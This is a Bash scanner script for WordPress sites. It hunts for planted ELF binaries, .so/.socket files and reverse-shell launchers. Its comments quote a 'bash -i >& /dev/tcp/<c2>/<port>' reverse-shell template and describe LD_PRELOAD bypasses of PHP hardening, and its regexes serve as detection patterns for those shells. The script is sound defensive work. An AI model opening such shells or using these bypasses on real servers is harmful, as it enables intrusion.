captaincore/lib/remote-scripts/detect-binary-payloads
2026-05-31 19:32:50 -04:00

219 lines
11 KiB
Bash
Executable file

#!/usr/bin/env bash
#
# Detect native binary / reverse-shell payloads in a WordPress web tree
#
# A WordPress site is PHP + assets. ELF binaries, `.so` shared objects, and
# `.socket` files have no legitimate place in the document root. Attackers
# drop them to bypass PHP's disable_functions / open_basedir hardening:
#
# * Chankro toolkit โ€” an ELF `.so` (LD_PRELOAD payload) paired with a
# shell script (often named `*.socket`) that opens a reverse shell via
# `bash -i >& /dev/tcp/<c2>/<port>`.
# * disable_functions bypass `.so` โ€” LD_PRELOAD shim that shells out, e.g.
# to spawn a local `php -S 127.0.0.1:<port>` server inside the web tree.
#
# These are NON-PHP, so plugin/core checksum scans, `php-in-uploads`, and
# most signature scanners walk straight past them. They frequently survive
# file-based cleanups for years because cleanups grep for `.php`.
#
# Real example (jerseysportszone.com, planted 2021, found 2026):
# wp-content/themes/twentysixteen.chankro.so (ELF, Chankro payload)
# wp-content/themes/twentysixteen.acpid.socket (sh, reverse shell to :25)
# .19235ant_x64.so / .27301ant_x64.so (ELF, disable_functions bypass)
#
# Detection passes (each pass is deduped against the prior), all web-tree-wide:
# A. Extension โ€” any `*.so` / `*.socket` file OR directory.
# B. ELF magic โ€” any file beginning with the ELF magic (\x7fELF),
# regardless of name or directory. Scans the WHOLE tree,
# including non-WordPress dirs (old_site/, backup/, _old/,
# wp-content/cache, wp-admin, wp-includes) โ€” a bare
# `old_site/exploit` ELF with no .so extension slipped past
# an earlier WP-dirs-only scope on phreddcentral.com.
# C. Reverse-shell content โ€” small text files containing a /dev/tcp(/udp)
# bash/sh socket redirect, regardless of extension.
# node_modules/.git are always pruned; wp-content/uploads is pruned under
# --skip-uploads (Pass A still covers .so/.socket names there).
#
# Output format (one row per finding):
# SEVERITY|TYPE|PATH|DETAIL|SIZE|MTIME
#
# Where:
# SEVERITY = CRITICAL (ELF / reverse-shell / socket-script) or HIGH
# (suspicious .so/.socket name that isn't clearly benign)
# TYPE = ELF_BINARY / SO_FILE / SO_DIR / SOCKET_FILE / SOCKET_DIR /
# REVERSE_SHELL
# DETAIL = short reason (e.g. C2 endpoint, embedded command)
# MTIME = YYYY-MM-DD HH:MM (plant date โ€” often the breach timestamp)
#
# Usage:
# captaincore ssh <site> --script=detect-binary-payloads
# captaincore ssh @all --script=detect-binary-payloads --quiet --label --parallel=40
#
# Flags:
# --quiet Only output when findings are present (bulk scanning)
# --skip-uploads Skip the ELF magic scan of wp-content/uploads (faster on
# sites with huge media libraries; extension + revshell
# passes still cover uploads)
#
set -uo pipefail
# โ”€โ”€ Argument parsing โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
quiet=""
skip_uploads=""
WP_ROOT=""
for _arg in "$@"; do
case "$_arg" in
--quiet) quiet=true ;;
--skip-uploads) skip_uploads=true ;;
--*) ;;
*) WP_ROOT="$_arg" ;;
esac
done
WP_ROOT="${WP_ROOT:-.}"
cd "$WP_ROOT" 2>/dev/null || { echo "ERROR: Cannot access $WP_ROOT"; exit 1; }
if [ ! -f "wp-config.php" ] && [ -f "public/wp-config.php" ]; then
cd public
elif [ ! -f "wp-config.php" ] && [ -f "public_html/wp-config.php" ]; then
cd public_html
fi
if [ ! -f "wp-config.php" ]; then
[ -z "$quiet" ] && echo "WordPress not found."
exit 0
fi
# โ”€โ”€ Allowlist โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# The only ELF/.so files with a plausible (if rare) reason to live in a web
# tree are commercial PHP loaders bundled by encoded plugins, and native
# Node addons under node_modules. Everything else is guilty by default.
# Matched against the full path; add entries as real false positives surface.
#
# node_modules / .git โ€” build/VCS noise
# ioncube / sourceguardian โ€” commercial PHP loaders bundled by encoded plugins
# rosell-dk/webp-convert โ€” webp-express, image-sizes, op-dashboard, etc. bundle
# platform `cwebp-*` ELF binaries from this lib
# ewww-image-optimizer/bin* โ€” bundles jpegtran/gifsicle/optipng/pngquant/cwebp ELFs
# wpress-extractor โ€” All-in-One WP Migration's ELF extractor at web root
ALLOW_PATH_REGEX='/(node_modules|\.git)/|/(ioncube|sourceguardian|sg_loader)/|loader[._-].*\.so$|ixed\..*\.so$|/rosell-dk/webp-convert/|/ewww-image-optimizer/(binaries|bin)/|(^|/)wpress-extractor$'
# Standard image-optimization / media CLI tool basenames (optionally suffixed
# with -linux / -fbsd / -solaris / -static / a version). These ship as ELF
# binaries inside legitimate optimizer plugins. Matched on BASENAME so a bundle
# in any plugin/vendor path is covered, while a payload dropped under a random
# name in themes/ or the web root is NOT exempted.
TOOL_BASENAME_REGEX='^(cwebp|dwebp|webpmux|gif2webp|img2webp|jpegtran|djpeg|cjpeg|jpegoptim|mozjpeg|gifsicle|optipng|pngquant|pngout|pngcrush|zopflipng|advpng|exiftool)([._-][A-Za-z0-9.+-]+)?$'
is_allowed() {
printf '%s' "$1" | grep -qE "$ALLOW_PATH_REGEX" && return 0
printf '%s' "${1##*/}" | grep -qE "$TOOL_BASENAME_REGEX"
}
# First 4 bytes == 7f 45 4c 46 ("\x7fELF")
is_elf() {
[ "$(head -c4 "$1" 2>/dev/null | od -An -tx1 2>/dev/null | tr -d ' \n')" = "7f454c46" ]
}
fmt_mtime() { date -d "@$1" '+%Y-%m-%d %H:%M' 2>/dev/null || date -r "$1" '+%Y-%m-%d %H:%M' 2>/dev/null || echo unknown; }
fsize() { stat -c '%s' "$1" 2>/dev/null || stat -f '%z' "$1" 2>/dev/null || echo 0; }
fmtime() { stat -c '%Y' "$1" 2>/dev/null || stat -f '%m' "$1" 2>/dev/null || echo 0; }
TMPSEEN=$(mktemp); trap 'rm -f "$TMPSEEN"' EXIT
found_any=""
emit() {
# emit SEVERITY TYPE PATH DETAIL โ€” dedups on PATH
# Normalize a leading "./" so Pass A (find .) and Passes B/C (find <dir>)
# resolve to the same key and don't double-report the same file.
local sev="$1" type="$2" path="${3#./}" detail="$4"
grep -qxF "$path" "$TMPSEEN" 2>/dev/null && return
echo "$path" >> "$TMPSEEN"
found_any=true
printf '%s|%s|%s|%s|%s|%s\n' "$sev" "$type" "$path" "$detail" "$(fsize "$path")" "$(fmt_mtime "$(fmtime "$path")")"
}
# Build the find prune expression for noise dirs.
PRUNE=( -path '*/node_modules/*' -o -path '*/.git/*' )
# Prune list for the full-tree passes (B + C). Always drop node_modules/.git;
# drop wp-content/uploads only under --skip-uploads (it's the heavy tree on
# media-rich sites โ€” the extension pass A still covers .so/.socket there).
TREE_PRUNE=( -path '*/node_modules/*' -o -path '*/.git/*' )
[ -n "$skip_uploads" ] && TREE_PRUNE+=( -o -path '*/wp-content/uploads/*' )
# โ”€โ”€ Pass A: .so / .socket by name (files AND directories), web-tree-wide โ”€โ”€
while IFS= read -r f; do
is_allowed "$f" && continue
if [ -d "$f" ]; then
case "$f" in
*.so) emit CRITICAL SO_DIR "$f" "directory named *.so in web tree" ;;
*.socket) emit CRITICAL SOCKET_DIR "$f" "directory named *.socket in web tree" ;;
esac
continue
fi
[ -f "$f" ] || continue
[ -s "$f" ] || continue # empty file (0 bytes) can't be a payload โ€” e.g. asm.js *.so stubs
if is_elf "$f"; then
emit CRITICAL ELF_BINARY "$f" "ELF binary with .so/.socket extension"
elif head -c2 "$f" 2>/dev/null | grep -q '#!' || head -c4096 "$f" 2>/dev/null | grep -qiE '/dev/tcp/|bash -i|sh -i|LD_PRELOAD'; then
det="script/reverse-shell content in .so/.socket file"
c2=$(grep -oE '/dev/tcp/[0-9.]+/[0-9]+' "$f" 2>/dev/null | head -1)
[ -n "$c2" ] && det="reverse shell -> ${c2#/dev/tcp/}"
emit CRITICAL SOCKET_FILE "$f" "$det"
else
case "$f" in
*.so) emit HIGH SO_FILE "$f" "non-ELF file named *.so (inspect)" ;;
*.socket) emit HIGH SOCKET_FILE "$f" "non-script file named *.socket (inspect)" ;;
esac
fi
done < <(find . \( "${PRUNE[@]}" \) -prune -o \( -name '*.so' -o -name '*.socket' \) -print 2>/dev/null)
# โ”€โ”€ Pass B: ELF magic byte scan across the ENTIRE web tree โ”€โ”€
# Catches renamed payloads AND ELF binaries hiding in NON-WordPress directories
# โ€” legacy/migration leftovers (old_site/, backup/, _old/), wp-content/cache,
# wp-admin/wp-includes, etc. Scoping this to the WordPress dirs is exactly how a
# bare `old_site/exploit` ELF (no .so extension) slipped past on phreddcentral.com.
# A WordPress web tree has no legitimate ELF outside the allowlisted image-tool
# bundles, so a full-tree sweep is the correct scope. node_modules/.git always
# pruned; uploads pruned under --skip-uploads. (head-c4 per file is the cost โ€” on
# huge sites prefer --skip-uploads.)
find . \( "${TREE_PRUNE[@]}" \) -prune -o -type f -size +3c -print 2>/dev/null | while IFS= read -r f; do
is_allowed "$f" && continue
grep -qxF "${f#./}" "$TMPSEEN" 2>/dev/null && continue
if is_elf "$f"; then
emit CRITICAL ELF_BINARY "$f" "ELF binary in web tree (no legitimate use)"
fi
done
# โ”€โ”€ Pass C: reverse-shell content in small text files (any extension), tree-wide โ”€โ”€
# Catches the acpid.socket-style launcher even if renamed to .txt/.dat/.bin etc.,
# anywhere in the tree (including non-WP dirs like old_site/). Same prune as Pass B.
while IFS= read -r f; do
is_allowed "$f" && continue
grep -qxF "${f#./}" "$TMPSEEN" 2>/dev/null && continue
# text files only; skip if it looks like a normal PHP source (those are
# covered by the PHP-focused scanners and would FP on legit socket code)
case "$f" in *.php|*.phtml|*.inc) continue ;; esac
# Require the genuine reverse-shell shape: a /dev/tcp (or /dev/udp)
# bash/sh socket redirect. Bare fsockopen()/socket_connect() are
# ubiquitous in legitimate library code, docs, and phpdoc caches
# (matched wp-smush-pro's mixpanel docs and astra-pro-sites' phpcs.xml),
# so they are NOT used as a signal here โ€” the PHP malware scanners
# cover attacker PHP, and this pass targets non-PHP shell launchers.
if grep -qaE '(bash|sh) -i[[:space:]]*>&[[:space:]]*/dev/(tcp|udp)/|/dev/(tcp|udp)/[0-9.]+/[0-9]+' "$f" 2>/dev/null; then
c2=$(grep -oE '/dev/(tcp|udp)/[0-9.]+/[0-9]+' "$f" 2>/dev/null | head -1)
det="reverse-shell pattern in non-PHP file"
[ -n "$c2" ] && det="reverse shell -> ${c2#/dev/*/}"
emit CRITICAL REVERSE_SHELL "$f" "$det"
fi
done < <(find . \( "${TREE_PRUNE[@]}" \) -prune -o -type f -size +10c -size -65536c -print 2>/dev/null)
# โ”€โ”€ Result โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
if [ -z "$found_any" ]; then
[ -z "$quiet" ] && echo "Clean. No ELF binaries, .so/.socket files, or reverse-shell payloads detected."
exit 0
fi
exit 1